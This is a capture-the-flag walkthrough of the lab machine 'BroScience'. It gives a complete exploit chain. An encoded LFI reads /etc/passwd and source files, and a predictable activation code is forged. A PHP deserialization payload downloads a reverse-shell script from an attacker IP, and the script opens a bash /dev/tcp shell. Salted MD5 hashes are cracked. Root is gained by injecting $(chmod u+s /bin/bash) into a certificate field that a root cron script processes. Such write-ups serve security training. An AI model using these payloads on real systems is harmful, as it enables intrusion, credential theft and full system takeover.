BroScience
Enumeration
Rustscan
mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.126.84 -- -sV -sC -oA ./rust/{{ip}}
Ports
Open 10.129.126.84:22
Open 10.129.126.84:80
Open 10.129.126.84:443
Services
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl syn-ack ttl 63
|_ip-https-discover: ERROR: Script execution failed (use -d to debug)
|_http-title: 400 Bad Request
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Sitename
Using curl we are able to determine the servername and can add it to our /etc/hosts file which can help us for example in subdomain enumeration
curl -Iv 10.129.126.84
* Trying 10.129.126.84:80...
* Connected to 10.129.126.84 (10.129.126.84) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 10.129.126.84
> User-Agent: curl/7.85.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
HTTP/1.1 301 Moved Permanently
< Server: Apache/2.4.54 (Debian)
Server: Apache/2.4.54 (Debian)
< Location: https://broscience.htb/
Location: https://broscience.htb/
Dirsearch
dirsearch -u https://broscience.htb/
[21:24:10] 200 - 2KB - /activate.php
[21:24:10] 200 - 2KB - /images/
[21:24:10] 301 - 319B - /images -> https://broscience.htb/images/
[21:24:10] 301 - 321B - /includes -> https://broscience.htb/includes/
[21:24:10] 200 - 2KB - /includes/
[21:24:11] 200 - 9KB - /index.php
[21:24:11] 200 - 9KB - /index.php/login/
[21:24:12] 301 - 323B - /javascript -> https://broscience.htb/javascript/
[21:24:14] 200 - 2KB - /login.php
[21:24:15] 302 - 0B - /logout.php -> /index.php
[21:24:16] 200 - 676B - /manual/index.html
[21:24:16] 301 - 319B - /manual -> https://broscience.htb/manual/
[21:24:27] 200 - 2KB - /register.php
[21:24:33] 301 - 319B - /styles -> https://broscience.htb/styles/
[21:24:38] 200 - 1KB - /user.php
Website
The website itself can be described as a collection of training excercises that can be added and commented by registered users.
Registration
When we try to register a user it says that the activation code will be send to us by email.
IDOR
While browsing the page we were able to identify an IDOR that exposes
E-Mail Address
IS Activated
IS Admin
# Just change the ID
https://broscience.htb/user.php?id=1
LFI
While checking https://broscience.htb/includes/ we discover a php file named img.php. Opening that page will tell us
Error: Missing 'path' parameter.
Basic LFI will fail and tell us Error: Attack detected. We have to double URL Encode it so that it will work
# Failing
https://broscience.htb/includes/img.php?path=../../../../etc/passwd
/etc/passwd
https://broscience.htb/includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
# We identified "bill" as user and it seems that postgresql is installed
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
/var/www/html/includes/db_connect.php
https://broscience.htb/includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%36%34%25%36%32%25%35%66%25%36%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "CENSORED";
$db_pass = "CENSORED";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
/var/www/html/includes/utils.php
Seems to be the script that generates activation codes and is used to update a cookie called user-prefs. Since user-prefs uses serialization this could be an attack vector during our next steps.
https://broscience.htb/includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%37%35%25%37%34%25%36%39%25%36%63%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
...
/var/www/html/activate.php
Used to activate a freshly registered user account
https://broscience.htb/%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%36%33%25%37%34%25%36%39%25%37%36%25%36%31%25%37%34%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
Exploitation
User activation
We'll use the code snippet discovered in includes/utils.php to generate an activation code for our previously created user. The date has been taken from the burp request that was captured while registering on the page.
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Mon, 09 Jan 2023 21:28:34 GMT"));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;
}
generate_activation_code();
?>
┌──(mrk㉿htb)-[~/Dokumente/htb/lab/broscience]
└─$ php generate.php
AtbiWw4c7YXN82lc9enxtWRg531vVkZe
Now it's time to activate the account
GET /activate.php?code=AtbiWw4c7YXN82lc9enxtWRg531vVkZe HTTP/1.1
Host: broscience.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Deserialization
After we logged in we can see that a new Cookie called users-prefs has been added. This cookie changes as soon as we switch the theme using swap_theme.php
Following code has been taken from includes/utils.php
Reference Code
get_theme()
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
class Avatar
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
Exploitation
We'll no change the class Avatar code up a little to generate serialized data that we will inject using the user-prefs cookie.
serialized.php
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.161/rev.php";
public $imgPath = "./rev.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$serialized = base64_encode(serialize(new AvatarInterface));
echo $serialized
?>
┌──(mrk㉿oscp)-[~/Dokumente/htb/lab/broscience]
└─$ php serialized.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNzoiaHR0cDovLzEwLjEwLjE0LjE2MS9yZXYucGhwIjtzOjc6ImltZ1BhdGgiO3M6OToiLi9yZXYucGhwIjt9
rev.php
<?php
system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.161/4444 0>&1'");
?>
Shell
# Change your user-prefs cookie to include the serialized data and reload the page after you started the webserver
# Host a simple webserver
┌──(mrk㉿oscp)-[~/Dokumente/htb/lab/broscience]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.126.84 - - [09/Jan/2023 23:05:31] "GET /rev.php HTTP/1.0" 200 -
# Now just open rev.php either in your browser or using the commandline
┌──(mrk㉿oscp)-[~/Dokumente/htb/lab/broscience]
└─$ curl -k https://broscience.htb/rev.php
# We got a shell
┌──(mrk㉿oscp)-[~]
└─$ pwncat-cs -lp 4444
[23:05:40] Welcome to pwncat 🐈! __main__.py:164
[23:05:41] received connection from 10.129.126.84:47600 bind.py:84
[23:06:02] 10.129.126.84:47600: registered new host w/ db
Privilege Escalation - Bill
Postgres
We start with enumeration of the database of which we already discovered the credentials
psql -h localhost -d broscience -U dbuser -W
broscience-> \d
List of relations
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
broscience=> SELECT * FROM users;
administrator:CENSORED
bill:CENSORED
michael:CENSORED
john:CENSORED
dmytro:CENSORED
Cracking Hashes
Every password used NaCl as password salt so we have to edit our wordlist before we can crack the hashes
sed -i 's|^|NaCl|g' rockyou.txt
Cracking md5 hashes
hashcat -m 0 -a 0 -o cracked.txt hashes.txt ./rockyou.txt --username
13eCENSORED6ed104:CENSORED (bill)
5dCENSOREDb9cc82b:CENSORED (dmytro)
bd350eCENSORED585:CENSORED (michael)
Using the password ilCENSORDgym we are able to become user bill
Privilege Escalation
Local Enumeration
First we upload pspy64 for further enumeration
chmod +x /tmp/pspy64
/tmp/pspy64
Using pspy64 it's clear that the root user runs a script to check if a certificate needs to be renewed
/bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
Abusing renew_cert.sh
renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
Let's create a certificate that will expire soon so that root will create a new one. We will leave everything empty except the commonName, that's the place where we store our payload.
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 10
Generating a RSA private key
........................................................................++++
.............................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
Email Address []:
After waiting for a while /bin/bash will be modified and we can use the suid permissions to become root!
ROOT
bill@broscience:~/Certs$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
bill@broscience:~/Certs$ /bin/bash -p
bash-5.1# whoami
root
Last updated